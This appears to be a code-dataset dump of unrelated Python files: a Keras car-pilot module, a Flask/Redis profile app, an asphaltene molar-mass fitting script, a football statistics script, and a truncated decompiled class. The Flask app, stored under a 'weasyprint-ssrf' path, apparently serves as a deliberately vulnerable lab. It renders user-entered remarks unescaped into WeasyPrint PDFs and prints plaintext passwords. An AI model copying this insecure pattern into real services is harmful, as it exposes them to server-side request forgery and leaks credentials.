help direct the vehicles motion.\n\n'''\n\nimport os, sys\nimport numpy as np\n\nfrom tensorflow.python import keras\nfrom tensorflow.python.keras.layers import Input, Dense\nfrom tensorflow.python.keras.models import Model, Sequential\nfrom tensorflow.python.keras.layers import Convolution2D, MaxPooling2D, Reshape, BatchNormalization\nfrom tensorflow.python.keras.layers import Activation, Dropout, Flatten, Cropping2D, Lambda\nfrom tensorflow.python.keras.layers.merge import concatenate\nfrom tensorflow.python.keras.layers import LSTM\nfrom tensorflow.python.keras.layers.wrappers import TimeDistributed as TD\nfrom tensorflow.python.keras.layers import Conv3D, MaxPooling3D, Cropping3D, Conv2DTranspose\n\nfrom models import *\nimport mlutils\nfrom perftimer import PerfTimer\n\n\nclass KerasPilot(object):\n\t'''\n\tBase class for Keras models that will provide steering and throttle to guide a car.\n\t'''\n\tdef __init__(self):\n\t\tself.model = None\n\t\tself.optimizer = \"adam\"\n\t\tself.perftimer = PerfTimer()\n\n\tdef load(self, model_path):\n\t\tself.model = keras.models.load_model(model_path)\n\n\tdef load_weights(self, model_path, by_name=True):\n\t\tself.model.load_weights(model_path, by_name=by_name)\n\n\tdef shutdown(self):\n\t\tpass\n\n\tdef compile(self):\n\t\traise NotImplementedError(\"need to override \\\"compile\\\"\")\n\n\tdef set_optimizer(self, optimizer_type, rate, decay):\n\t\tif optimizer_type == \"adam\":\n\t\t\tself.model.optimizer = keras.optimizers.Adam(lr=rate, decay=decay)\n\t\telif optimizer_type == \"sgd\":\n\t\t\tself.model.optimizer = keras.optimizers.SGD(lr=rate, decay=decay)\n\t\telif optimizer_type == \"rmsprop\":\n\t\t\tself.model.optimizer = keras.optimizers.RMSprop(lr=rate, decay=decay)\n\t\telif optimizer_type == \"adagrad\":\n\t\t\tself.model.optimizer = keras.optimizers.Adagrad(lr=rate, decay=decay)\n\t\telif optimizer_type == \"adadelta\":\n\t\t\tself.model.optimizer = keras.optimizers.Adadelta(lr=rate, decay=decay)\n\t\telif optimizer_type == \"adamax\":\n\t\t\tself.model.optimizer = keras.optimizers.Adamax(lr=rate, decay=decay)\n\t\telif optimizer_type == \"nadam\":\n\t\t\tself.model.optimizer = keras.optimizers.Nadam(lr=rate, decay=decay)\n\t\telse:\n\t\t\traise Exception(\"unknown optimizer type: %s\" % optimizer_type)\n\n\tdef train(self, train_gen, val_gen, saved_model_path, epochs=100, steps=100, verbose=1, min_delta=.0005, patience=5, use_early_stop=True):\n\n\t\t\"\"\"\n\t\ttrain_gen: generator that yields an array of images an array of\n\t\t\"\"\"\n\n\t\t#checkpoint to save model after each epoch\n\t\tsave_best = keras.callbacks.ModelCheckpoint(saved_model_path,\n\t\t\t\t\t\t\t\t\t\t\t\t\tmonitor='val_loss',\n\t\t\t\t\t\t\t\t\t\t\t\t\tverbose=verbose,\n\t\t\t\t\t\t\t\t\t\t\t\t\tsave_best_only=True,\n\t\t\t\t\t\t\t\t\t\t\t\t\tmode='min')\n\n\t\t#stop training if the validation error stops improving.\n\t\tearly_stop = keras.callbacks.EarlyStopping(monitor='val_loss',\n\t\t\t\t\t\t\t\t\t\t\t\t min_delta=min_delta,\n\t\t\t\t\t\t\t\t\t\t\t\t patience=patience,\n\t\t\t\t\t\t\t\t\t\t\t\t verbose=verbose,\n\t\t\t\t\t\t\t\t\t\t\t\t mode='auto')\n\n\t\tcallbacks_list = [save_best]\n\n\t\tif use_early_stop:\n\t\t\tcallbacks_list.append(early_stop)\n\n\t\tv_steps = val_gen.__len__()\n\n\t\thist = self.model.fit_generator(\n\t\t\t\t\t\ttrain_gen,\n\t\t\t\t\t\tsteps_per_epoch=steps,\n\t\t\t\t\t\tepochs=epochs,\n\t\t\t\t\t\tverbose=1,\n\t\t\t\t\t\tvalidation_data=val_gen,\n\t\t\t\t\t\tcallbacks=callbacks_list,\n\t\t\t\t\t\tvalidation_steps=v_steps)\n\t\treturn hist\n\n\tdef get_framerate():\n\t\treturn self.perftimer.get_framerate()\n\n\nclass KerasCategorical(KerasPilot):\n\t'''\n\tThe KerasCategorical pilot breaks the steering and throttle decisions into discreet\n\tangles and then uses categorical cross entropy to train the network to activate a single\n\tneuron for each steering and throttle choice. This can be interesting because we\n\tget the confidence value as a distribution over all choices.\n\tThis uses the mlutils.linear_bin and mlutils.linear_unbin to transform continuous\n\treal numbers into a range of discreet values for training and runtime.\n\tThe input and output are therefore bounded and must be chosen wisely to match the data.\n\tThe default ranges work for the default setup. But cars which go faster may want to\n\tenable a higher throttle range. And cars with larger steering throw may want more bins.\n\t'''\n\tdef __init__(self, input_shape=(120, 160, 3), throttle_range=0.5, roi_crop=(0, 0), *args, **kwargs):\n\t\tsuper(KerasCategorical, self).__init__(*args, **kwargs)\n\t\tself.model = default_categorical(input_shape, roi_crop)\n\t\tself.compile()\n\t\tself.throttle_range = throttle_range\n\n\tdef compile(self):\n\t\tself.model.compile(optimizer=self.optimizer, metrics=['acc'],\n\t\t\t\t loss={'angle_out': 'categorical_crossentropy',\n\t\t\t\t\t\t'throttle_out': 'categorical_crossentropy'},\n\t\t\t\t loss_weights={'angle_out': 0.5, 'throttle_out': 1.0})\n\n\tdef run(self, img_arr):\n\t\tif img_arr is None:\n\t\t\tprint('no image')\n\t\t\treturn 0.0, 0.0\n\n\t\timg_arr = img_arr.reshape((1,) + img_arr.shape)\n\t\tangle_binned, throttle = self.model.predict(img_arr)\n\t\tN = len(throttle[0])\n\t\tthrottle = mlutils.linear_unbin(throttle, N=N, offset=0.0, R=self.throttle_range)\n\t\tangle_unbinned = mlutils.linear_unbin(angle_binned)\n\t\tself.perftimer.tick()\n\t\treturn angle_unbinned, throttle\n\n\n\nclass KerasLinear(KerasPilot):\n\t'''\n\tThe KerasLinear pilot uses one neuron to output a continous value via the\n\tKeras linear layer. One each for steering and throttle.\n\tThe output is not bounded.\n\t'''\n\tdef __init__(self, num_outputs=2, input_shape=(120, 160, 3), roi_crop=(0, 0), *args, **kwargs):\n\t\tsuper(KerasLinear, self).__init__(*args, **kwargs)\n\t\tself.model = default_n_linear(num_outputs, input_shape, roi_crop)\n\t\tself.compile()\n\n\tdef compile(self):\n\t\tself.model.compile(optimizer=self.optimizer,\n\t\t\t\tloss='mse')\n\n\tdef run(self, img_arr):\n\t\timg_arr = img_arr.reshape((1,) + img_arr.shape)\n\t\toutputs = self.model.predict(img_arr)\n\t\tsteering = outputs[0]\n\t\tthrottle = outputs[1]\n\t\tself.perftimer.tick()\n\t\treturn steering[0][0], throttle[0][0]\n\n\n\nclass KerasRNN_LSTM(KerasPilot):\n\tdef __init__(self, image_w=160, image_h=120, image_d=3, seq_length=3, num_outputs=2, *args, **kwargs):\n\t\tsuper(KerasRNN_LSTM, self).__init__(*args, **kwargs)\n\t\timage_shape = (image_h, image_w, image_d)\n\t\tself.model = rnn_lstm(seq_length=seq_length,\n\t\t\tnum_outputs=num_outputs,\n\t\t\timage_shape=image_shape)\n\t\tself.seq_length = seq_length\n\t\tself.image_d = image_d\n\t\tself.image_w = image_w\n\t\tself.image_h = image_h\n\t\tself.img_seq = []\n\t\tself.compile()\n\t\tself.optimizer = \"rmsprop\"\n\n\tdef compile(self):\n\t\tself.model.compile(optimizer=self.optimizer,\n\t\t\t\t loss='mse')\n\n\tdef run(self, img_arr):\n\t\tif img_arr.shape[2] == 3 and self.image_d == 1:\n\t\t\timg_arr = mlutils.rgb2gray(img_arr)\n\n\t\twhile len(self.img_seq) < self.seq_length:\n\t\t\tself.img_seq.append(img_arr)\n\n\t\tself.img_seq = self.img_seq[1:]\n\t\tself.img_seq.append(img_arr)\n\n\t\timg_arr = np.array(self.img_seq).reshape(1, self.seq_length, self.image_h, self.image_w, self.image_d )\n\t\toutputs = self.model.predict([img_arr])\n\t\tsteering = outputs[0][0]\n\t\tthrottle = outputs[0][1]\n\t\tself.perftimer.tick()\n\t\treturn steering, throttle\n\n\n\nclass Keras3D_CNN(KerasPilot):\n\tdef __init__(self, image_w=160, image_h=120, image_d=3, seq_length=20, num_outputs=2, *args, **kwargs):\n\t\tsuper(Keras3D_CNN, self).__init__(*args, **kwargs)\n\t\tself.model = build_3d_cnn(w=image_w, h=image_h, d=image_d, s=seq_length, num_outputs=num_outputs)\n\t\tself.seq_length = seq_length\n\t\tself.image_d = image_d\n\t\tself.image_w = image_w\n\t\tself.image_h = image_h\n\t\tself.img_seq = []\n\t\tself.compile()\n\n\tdef compile(self):\n\t\tself.model.compile(loss='mean_squared_error', optimizer=self.optimizer, metrics=['accuracy'])\n\n\tdef run(self, img_arr):\n\n\t\t# if depth is 3 (colour) and input depth is 1 (monochrome)\n\t\tif img_arr.shape[2] == 3 and self.image_d == 1:\n\t\t\timg_arr = mlutils.rgb2gray(img_arr)\n\n\t\twhile len(self.img_seq) < self.seq_length:\n\t\t\tself.img_seq.append(img_arr)\n\n\t\tself.img_seq = self.img_seq[1:]\n\t\tself.img_seq.append(img_arr)\n\n\t\timg_arr = np.array(self.img_seq).reshape(1, self.seq_length, self.image_h, self.image_w, self.image_d )\n\t\toutputs = self.model.predict([img_arr])\n\t\tsteering = outputs[0][0]\n\t\tthrottle = outputs[0][1]\n\t\tself.perftimer.tick()\n\t\treturn steering, throttle\n\n\n\nclass KerasLatent(KerasPilot):\n\tdef __init__(self, num_outputs=2, input_shape=(120, 160, 3), *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.model = default_latent(num_outputs, input_shape)\n\t\tself.compile()\n\n\tdef compile(self):\n\t\tself.model.compile(optimizer=self.optimizer, loss={\n\t\t\t\"img_out\" : \"mse\", \"n_outputs0\" : \"mse\", \"n_outputs1\" : \"mse\"\n\t\t}, loss_weights={\n\t\t\t\"img_out\" : 100.0, \"n_outputs0\" : 2.0, \"n_outputs1\" : 1.0\n\t\t})\n\n\tdef run(self, img_arr):\n\t\timg_arr = img_arr.reshape((1,) + img_arr.shape)\n\t\toutputs = self.model.predict(img_arr)\n\t\tsteering = outputs[1]\n\t\tthrottle = outputs[2]\n\t\tself.perftimer.tick()\n\t\treturn steering[0][0], throttle[0][0]\n\n\n\ndef get_pilot_by_name(name):\n\tname = name.lower()\n\tif name == \"KerasPilot\".lower():\n\t\treturn KerasPilot()\n\telif name == \"KerasCategorical\".lower():\n\t\treturn KerasCategorical()\n\telif name == \"KerasLinear\".lower():\n\t\treturn KerasLinear()\n\telif name == \"KerasRNN_LSTM\".lower():\n\t\treturn KerasRNN_LSTM()\n\telif name == \"Keras3D_CNN\".lower():\n\t\treturn Keras3D_CNN()\n\telif name == \"KerasLatent\".lower():\n\t\treturn KerasLatent()\n\telif name == \"TensorRTLinear\".lower():\n\t\timport pilottensorrt\n\t\treturn pilottensorrt.TensorRTLinear()\n\telif name == \"TFLitePilot\".lower():\n\t\timport tflite\n\t\treturn tflite.TFLitePilot()\n\traise ValueError(\"no such pilot name \\\"%s\\\"\" % name)\n","sub_path":"sloth/pilots.py","file_name":"pilots.py","file_ext":"py","file_size_in_byte":9523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"619323856","text":"from flask import (\n Flask,\n request,\n jsonify,\n render_template,\n session,\n flash,\n redirect,\n url_for,\n g,\n send_from_directory,\n)\nfrom datetime import datetime\nfrom secrets import token_urlsafe\nfrom functools import wraps\nimport bcrypt\nfrom weasyprint import HTML\nimport os\nfrom tornado.wsgi import WSGIContainer\nfrom tornado.ioloop import IOLoop\nfrom tornado.web import FallbackHandler, RequestHandler, Application\nfrom tornado.websocket import WebSocketHandler\n\n\nimport redis \nredisClient = redis.StrictRedis(host=\"127.0.0.1\",port=6379,db=0,decode_responses=True)\n\n\nSECRET_KEY = token_urlsafe(32)\n\napp = Flask(__name__, static_folder=\"static\")\napp.config.from_object(__name__)\n\n\n\n\n\ndef auth_user(user):\n \n session[\"logged_in\"] = True\n session[\"user_id\"] = user['fname']\n session[\"email\"] = user['email']\n session.permanent = True\n flash(\"You are logged in as {}\".format(user['email']))\n\n\ndef login_required(f):\n @wraps(f)\n def inner(*args, **kwargs):\n if session.get(\"logged_in\"):\n return f(*args, **kwargs)\n\n return redirect(url_for(\"pre_login\"))\n\n return inner\n\n\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef pre_login():\n if request.method == \"GET\":\n return render_template(\"index.html\")\n elif request.method == \"POST\":\n query='ec2instance*'\n keys = redisClient.keys(query)\n \n temp=[]\n \n for j in keys:\n temp = redisClient.hgetall(j)\n if request.form.get(\"email\")==temp['email'] and bcrypt.checkpw(str(request.form.get(\"password\")).encode(), temp[\"pwd\"].encode() ):\n auth_user(temp)\n \n \n return redirect(url_for(\"go_home\"))\n \n return redirect(url_for(\"pre_login\"))\n\n\n@app.route(\"/home\", methods=[\"GET\"])\n@login_required\ndef go_home():\n return render_template(\"home.html\")\n\n\n@app.route(\"/customer\", methods=[\"GET\", \"POST\"])\n@login_required\ndef create_customer():\n if request.method == \"GET\":\n user =session.get(\"email\")\n user =session.get(\"email\")\n try:\n query='ec2customer*'\n keys = redisClient.keys(query)\n customers=[]\n for j in keys:\n temp = redisClient.hgetall(j)\n if user==temp['user']:\n customers.append(temp)\n if len(customers) == 0:\n return render_template(\"customer.html\", all_customers=None)\n else:\n return render_template(\"customer.html\", all_customers=customers)\n except Exception:\n return render_template(\"customer.html\", all_customers=None)\n\n if request.method == \"POST\":\n customerdetails={}\n if request.form.get(\"name\") and request.form.get(\"url\"):\n print(request.form.get(\"url\"))\n query='ec2customer*'\n keys = redisClient.keys(query)\n customerdetails['user'] = session.get(\"email\")\n customerdetails['name']=str(request.form.get(\"name\"))\n customerdetails['url']=str(request.form.get(\"url\"))\n keys = redisClient.keys(query)\n keys = len(redisClient.keys(query))\n \n if keys<=0:\n keys=1\n else:\n keys=keys+1\n count=\"ec2customer\"+str(keys+1)\n redisClient.hmset(count, customerdetails)\n return redirect(url_for(\"create_customer\"))\n\n\n@app.route(\"/signup\", methods=[\"POST\", \"GET\"])\ndef signup():\n \n if request.method == \"POST\":\n userdetails={}\n \n if request.form.get(\"email\") and request.form.get(\"password\"):\n print(request.form.get(\"password\"))\n query='ec2instance*'\n keys = redisClient.keys(query)\n for j in keys:\n temp = redisClient.hgetall(j)\n if request.form.get(\"email\")==temp['email']:\n return render_template(\"signup.html\")\n userdetails['fname']=str(request.form.get(\"first_name\"))\n userdetails['sname']=str(request.form.get(\"last_name\"))\n userdetails['pwd']=bcrypt.hashpw(str(request.form.get(\"password\")).encode(), bcrypt.gensalt())\n userdetails['email']=str(request.form.get(\"email\"))\n userdetails['remarks']=str(request.form.get(\"remarks\"))\n query='ec2instance*'\n keys = len(redisClient.keys(query))\n \n if keys<=0:\n keys=1\n else:\n keys=keys+1\n count=\"ec2instance\"+str(keys+1)\n \n \n redisClient.hmset(count, userdetails)\n userdetails={}\n \n \n return redirect(url_for(\"pre_login\"))\n else:\n return redirect(url_for(\"pre_login\"))\n elif request.method == \"GET\":\n return render_template(\"signup.html\")\n else:\n return \"Can't recognize HTTP Verb\"\n\n\n@app.route(\"/genpdf\", methods=[\"GET\"])\n@login_required\ndef gen_pdf():\n email = session.get(\"email\")\n query='ec2instance*'\n keys = redisClient.keys(query)\n \n temp=[]\n user={}\n for j in keys:\n temp = redisClient.hgetall(j)\n if email==temp['email']:\n\n user=temp\n print(\"Generate pdf\")\n\n html_string = \"\"\"\n \n \n %s's Profile\n \n \n

%s

\n

%s %s

\n %s\n \n \n \"\"\" % (\n user['email'],\n user['email'],\n user['fname'],\n user['sname'],\n user['remarks']\n )\n try:\n os.makedirs('static')\n except OSError as e:\n pass\n html = HTML(string=html_string)\n name = \"{}-{}.pdf\".format(\n str(user['email']), int(datetime.now().timestamp())\n )\n html.write_pdf(\"static/{}\".format(name))\n return send_from_directory(directory=\"static\", path=name)\n\n \n return \"Unable to find route\"\n\n\nif __name__ == \"__main__\":\n\n \n wsgi_app = WSGIContainer(app)\n\n application = Application([\n (r'.*', FallbackHandler, dict(fallback=wsgi_app))\n ])\n application.listen(3000)\n IOLoop.instance().start()\n # app.run(host=\"0.0.0.0\", debug=True)","sub_path":"weasyprint-ssrf/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"224999699","text":"# -*- coding: utf-8 -*-\n\"\"\"****************************************************************************************************************************\nCreated on Sat Feb 27 11:38:23 2021\n\n@author: damv_\n\nIndonesia\nw = np.array([0.232, 0.339, 0.382, 0.047, 0])\nw_nC5 = 0.65\nAjuste de Masa molar = 2490.6117315383026 g/mol en 4 iteraciones\n\nCold Lake\nw = np.array([0.194, 0.381, 0.267, 0.155, 0.3/100])\nw_nC7* = 0.515\nAjuste de Masa molar* = 3248.2131162411993 g/mol en 4 iteraciones\nw_nC7 = 0.490\nAjuste de Masa molar = 3359.0696375286734 g/mol en 5 iteraciones\nw_nC7 = 0.480 , n = 7 <-- Mejor ajuste con datos exp\nAjuste de Masa molar = 3431.6477618206495 g/mol en 5 iteraciones\n\nVenezuela 2 c:\nw = np.array([0.205, 0.380, 0.196, 0.218, 0.1/100])\nw_nC7 = 0.46\nAjuste de Masa molar = 3456.8069233264805 g/mol en 5 iteraciones\nw_nC7 = 0.44\nAjuste de Masa molar = 3560.7996045373425 g/mol en 5 iteraciones\n\nLloydminster\nw = np.array([0.231, 0.417, 0.195, 0.153, 0.4/100])\nw_nC7* = 0.487\nAjuste de Masa molar* = 3316.0597650938685 g/mol en 4 iteraciones\nw_nC7 = 0.470\nAjuste de Masa molar = 3392.472440187809 g/mol en 5 iteraciones\nw_nC7 = 0.46 <- Mejor ajuste \nAjuste de Masa molar = 3482.818419746553 g/mol en 5 iteraciones\n\n\nLLOYDMINSTER + COLD LAKE (PROPORCION DESCONOCIDA)\nw = np.array([0.290, 0.422, 0.158, 0.130, 0.0])\nw_nC7 = 0.4665 , n = 8 , Masf = 3287.2249486131836 g/mol\n\nGolfo de Mx\nw = np.array([0.503, 0.305, 0.146, 0.040, 0.006])\nw_nC7 = 0.4188:\n n = 5, Masf = 2853.9742651039096\n n = 6, Masf = 2861.7467201202135 <- Bueno\n n = 7, Masf = 2866.95625873616\n n = 8, Masf = 2871.126870517777\n n = 10, Masf = 2877.5285555868336\n****************************************************************************************************************************\"\"\"\nimport numpy as np\nimport Equilibrio.equilibrio as eq\n\n#DATOS\nT = 23 + 273.15 #K\nP = 1.01325 #Bar\nn = 9 #num. de pseudocomponentes en que se parte el asfalteno\n#w_nC7 es el punto de floculacion\nw_nC7 = 0.46\n#w = np.array([Saturado,Aromatico,Resina,Asfalteno,Solidos])\nw = np.array([0.231, 0.417, 0.195, 0.153, 0.4/100]) #Fraccion masa\n#Eliminar fraccion de solidos inorganicos (no participan en el equilibrio)\nw = eq.Recomponer( w ) #Eliminar fraccion de solidos y reajuste de fraccion masa\nM = np.array([460.0, 521.86, 1042.86, 0]) #Masa molar g/mol\n#Parametros para partir la fraccion de asfaltenos con distribucion gamma NO MODIFICAR\nMmin_asf = 1800 #g/mol / no modificar\nbeta = 3.5 #Parametro de forma distribucion Gamma / no modificar\n\n\"\"\"****************************************************************************************************************************\nCorregir las fracciones masa, eliminando los solidos y reajustando las\nfracciones. Posteriormente se calculan las fracciones mol de acuerdo a la\ncomposicion masica. Generar las composiciones molares\n\nSolvente: nC7 algunos casos (Indonesia) se usa nC5\nSe añade al final de las listas np.array \n\n###############################################################################\nPropiedades criticas de fracciones SAR promedio y solvente utilizado nC5\n\nPROPIEDAD = np.array([SATURADO, AROMATICO, RESINA, SOLVENTE])\nEl parametro de solubilidad se calcula ya que depende de la temperatura. \nDe igual forma, los volumenes molares se calculan \"in situ\", por su dependencia con T.\n\nPropiedades nC5: M = 72.15 g/mol, Pc = 33.70 Bar, Tc = 469.70 K, V* = 314.8268967 cm3/mol, w = 0.252 , d = 22.222 - 0.0264*T MPa**0.5\nPropiedades nC7: M = 100.204 g/mol, Pc = 27.40 Bar, Tc = 540 K, V* = 434.4297835197149 cm3/mol, w = 0.35 , d = 22.121 - 0.0232*T MPa**0.5\nPropiedades de solventes obtenidas de B. E. Poling, J. M. Prausnitz y J. P. O'Connell, The Properties of Gases and Liquids, quinta ed., Nueva York: McGraw-Hill, 2000\n****************************************************************************************************************************\"\"\"\n#SOLVENTE: nC5\n# M = np.append( M, 72.15 ) #g/mol\n# Pc = np.array([5.91809024, 12.86868178, 7.40880462, 33.70]) #Bar\n# Tc = np.array([856.50785811, 1481.55069013, 2052.45144954, 469.70]) #K\n# omega = np.array([1.36549975, 0.90174793, 1.20046341, 0.252]) #Factor acentrico\n# va = np.array([2420.4837844, 2233.96976857, 4995.19050729, 314.8268967]) #Parametro correlacions Costald\n# d = np.append( eq.del_SARA( T , M[0 : 3] ) , 22.222 - 0.0264*T )\n# vsat = eq.Vs_Costald( T , va , omega , Tc )\n\n# #SOLVENTE: nC7\nM = np.append( M, 100.204 ) #g/mol\nPc = np.array([5.91809024, 12.86868178, 7.40880462, 27.40]) #Bar\nTc = np.array([856.50785811, 1481.55069013, 2052.45144954, 540.0]) #K\nomega = np.array([1.36549975, 0.90174793, 1.20046341, 0.35]) #Factor acentrico\nva = np.array([2420.4837844, 2233.96976857, 4995.19050729, 434.4297835197149]) #Parametro correlacions Costald\nd = np.append( eq.del_SARA( T , M[0 : 3] ) , 22.121 - 0.0232*T )\nvsat = eq.Vs_Costald( T , va , omega , Tc )\n\n#La mejor ferror es:\ndef ferror( z, ki ): #Nombrada funcion error 2 en tesis\n x_h = z[2 : n + 3]*ki\n return np.log( sum( x_h ) )\n\n#Calcula los parametros para asfaltenos dando una masa molar y \ndef Rec_Eq( Mprom ):\n M_ = M.copy()\n M_[ 3 ] = Mprom\n w_ = w.copy()\n w_ = np.append( ( 1 - w_nC7 )*w_ , w_nC7 )\n z = ( w_/M_ )/sum( w_/M_ )\n zasf = z[ -2 ]\n z = np.delete( z , 3 )\n z = np.insert( z , 3 , eq.PseudoComp( zasf , Mprom , n , Mmin_asf , beta)[ 0 ] )\n M_ = np.insert( M_ , 3 , eq.PseudoComp( zasf , Mprom , n , Mmin_asf , beta)[ 1 ] )\n M_ = np.append( M_ , M[ -1] )\n #Las correlaciones son funcion de M, es necesario calcular todas las propiedades necesarias\n Pc_ = Pc.copy()\n Pc_ = np.insert( Pc_, 3, eq.Pc_Asf( M_ , n ) )\n Tc_ = Tc.copy()\n Tc_ = np.insert( Tc_, 3, eq.Tc_Asf( M_ , n ) )\n omega_ = omega.copy()\n omega_ = np.insert( omega_, 3, eq.Omega_Asf( M_ , n ) )\n va_ = va.copy()\n va_ = np.insert( va_, 3, eq.V_a_asf( Tc_ , Pc_ , omega_ , n ) )\n vsat_ = eq.Vs_Costald( T , va_ , omega_ , Tc_ )\n vsat_ = eq.V_Comp( P , T , vsat_ , Pc_ , Tc_ , omega_ )\n d_ = d.copy()\n d_ = np.insert( d_, 3, eq.del_asf( T , M_ , n ) )\n xl = z.copy()\n vml_ = eq.Vm_Costald( T, va_, Tc_, omega_, xl )\n # Estimado inicial 8% resinas y 92% asfaltenos\n xh_ = np.append( 0.08 , 0.92*z[ 3 : n + 3 ]/sum( z[ 3 : n + 3 ] ) ) \n xh_ = xh_/sum( xh_ )\n vmh_ = eq.Vm_Costald( T, va_[ 2 : n + 3 ], Tc_[ 2 : n + 3 ] , omega_[ 2 : n + 3 ] , xh_ )\n # print(\"vmh:\",vmh,\"\\n\")\n #Se corrigen las composiciones en 3 iteraciones. En el estudio de sensibilidad de estimados\n #iniciales se encontro que la convergencia se cumple en la mayoria de los sistemas en dos iteraciones\n xh_ = xl[ 2 : n + 3 ]*eq.K_ihl( T, vsat_ , vml_, vmh_, xl, xh_, d_)/sum( xl[ 2 : n + 3 ]*eq.K_ihl( T, vsat_ , vml_, vmh_, xl, xh_, d_) )\n vmh_ = eq.Vm_Costald( T, va_[ 2 : n + 3 ], Tc_[ 2 : n + 3 ] , omega_[ 2 : n + 3 ] , xh_ )\n xh_ = xl[ 2 : n + 3 ]*eq.K_ihl( T, vsat_ , vml_, vmh_, xl, xh_, d_)/sum( xl[ 2 : n + 3 ]*eq.K_ihl( T, vsat_ , vml_, vmh_, xl, xh_, d_) )\n vmh_ = eq.Vm_Costald( T, va_[ 2 : n + 3 ], Tc_[ 2 : n + 3 ] , omega_[ 2 : n + 3 ] , xh_ )\n xh_ = xl[ 2 : n + 3 ]*eq.K_ihl( T, vsat_ , vml_, vmh_, xl, xh_, d_)/sum( xl[ 2 : n + 3 ]*eq.K_ihl( T, vsat_ , vml_, vmh_, xl, xh_, d_) )\n vmh_ = eq.Vm_Costald( T, va_[ 2 : n + 3 ], Tc_[ 2 : n + 3 ] , omega_[ 2 : n + 3 ] , xh_ )\n # print(\"Error:\",ferror( xl, eq.K_ihl( T, vsat_ , vml_, vmh_, xl, xh_, d_) ),\"\\t\")\n return ferror( xl, eq.K_ihl( T, vsat_ , vml_, vmh_, xl, xh_, d_) )\n\n#Aproximacion de la derivada de la funcion error, se usa metodo de la secante\ndef dferror_dM( Mprom , delta = 1e-3 ):\n f_1 = Rec_Eq( Mprom + delta )\n f_2 = Rec_Eq( Mprom )\n return ( f_1 - f_2 )/delta\n\n#Estimado inicial y tolerancia\nM_ajustada = 2865\ntol = 1e-8\n\nprint(\"#### Ajuste final de Masa molar de asfaltenos ####\\n\")\nfor i in range( 10 ):\n if abs( Rec_Eq( M_ajustada ) ) < tol:\n # print(\"################# CONVERGENCIA ALCANZADA ################# \\n\")\n print( \"Funcion Error < \" , tol, \", Iteraciones Necesarias:\",i )\n # print(\"ERROR:\", Rec_Eq( M_ajustada ) ,\"\\n\")\n break\n # print(\"############### i =\",i + 1,\"###############\")\n M_ajustada = M_ajustada - Rec_Eq( M_ajustada )/dferror_dM( M_ajustada )\n\nprint(\"\\t RESULTADOS FINALES:\")\nM[ 3 ] = M_ajustada\nprint(\"\\t Masf ajustada:\",M_ajustada,\"g/mol \\t\")\nprint(\"Fraccion solvente:\",w_nC7,\"\\t N. de particiones asfalteno:\",n)\nprint(\"############################## FIN ##############################\")","sub_path":"Ajuste Masa molar asf.py","file_name":"Ajuste Masa molar asf.py","file_ext":"py","file_size_in_byte":8502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"532053841","text":"from pymongo import MongoClient\nimport pprint\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nimport datetime\nimport time\nfrom ast import literal_eval\nimport scipy as sc\n\n\nemotions_list = ['anger', 'contempt', 'disgust', 'fear', 'happiness', 'neutral', 'sadness', 'surprise']\nHOUR = 3600\nCLUBS_TRANSLIT = {'Анжи':'anji', 'Амкар': 'amkar', 'Арсенал':'arsenal', 'Волга': 'volga', 'Динамо': 'dinamo', 'Зенит': 'zenit',\n 'Краснодар': 'krasnodar', 'Крылья Советов': 'krylya', 'Кубань': 'kuban', 'Локомотив': 'loko',\n 'Мордовия': 'mordovia', 'Ростов': 'rostov', 'Рубин': 'rubin', 'Спартак': 'spartak', 'Терек': 'terek',\n 'Томь': 'tom', 'Торпедо': 'torpedo', 'Урал': 'ural', 'Уфа': 'ufa', 'ЦСКА': 'cska'}\n\n\ndef get_datetime_from_str(date_str, time_str):\n return datetime.datetime.strptime(date_str+time_str, '%d.%m.%Y%H:%M')\n\n\ndef get_unixtime_from_datetime(input_datetime):\n return int(time.mktime(input_datetime.timetuple()))\n\n\ndef main():\n client = MongoClient()\n games_db = client['rfpl_games']\n\n df_list = []\n for collection_name in games_db.collection_names(include_system_collections=False):\n df_list.append(pd.DataFrame(list(games_db[collection_name].find())))\n games_df = pd.concat(df_list, ignore_index=True)\n\n pyro = games_df['pyro'].get_values()\n\n home_scores = games_df['home_team_goals'].get_values()\n guest_scores = games_df['guest_team_goals'].get_values()\n all_goals = games_df['all_goals'].get_values()\n any_goals = games_df['any_goals'].get_values()\n more_one_goal = games_df['more_one_goal'].get_values()\n more_two_goals = games_df['more_two_goals'].get_values()\n more_three_goals = games_df['more_three_goals'].get_values()\n\n print(\"home goals - pyro corr {0}\".format(sc.stats.pearsonr(pyro, home_scores)))\n print(\"guest goals - pyro corr {0}\".format(sc.stats.pearsonr(pyro, guest_scores)))\n print(\"all goals - pyro corr {0}\".format(sc.stats.pearsonr(pyro, all_goals)))\n print(\"any goals - pyro corr {0}\".format(sc.stats.pearsonr(pyro, any_goals)))\n print(\"more one goal - pyro corr {0}\".format(sc.stats.pearsonr(pyro, more_one_goal)))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Features/PyroScoresCorr.py","file_name":"PyroScoresCorr.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"14732504","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.11-x86_64/egg/lib/Probe/ProbePair.py\n# Compiled at: 2017-03-25 16:04:14\nfrom __future__ import division\nfrom math import fabs\nfrom Thermo import DNAThermoModel\nimport unittest\n\nclass ProbePair():\n \"\"\"Represent a pair of Primers\n\n Paramenters:\n ------------\n id: String\n Intifier of the pair of primers\n\n a : Primer class\n Probe a\n\n b: Primer class\n Probe b\n\n met_diff: Float\n Difference in melting temperature between the two primers\n\n mean_amp_len: Float\n Mean length of the putative amplicons generated for this\n pair of primers\n\n inter_energy: Float\n Gibbs free energy for the interaction between the pairs\n\n a_fscore: Float\n F-score for primer a\n\n b_fscore: Float\n F-score for primer b\n \"\"\"\n\n def __init__(self, id, pb_a, pb_b):\n self.id = id\n self.a 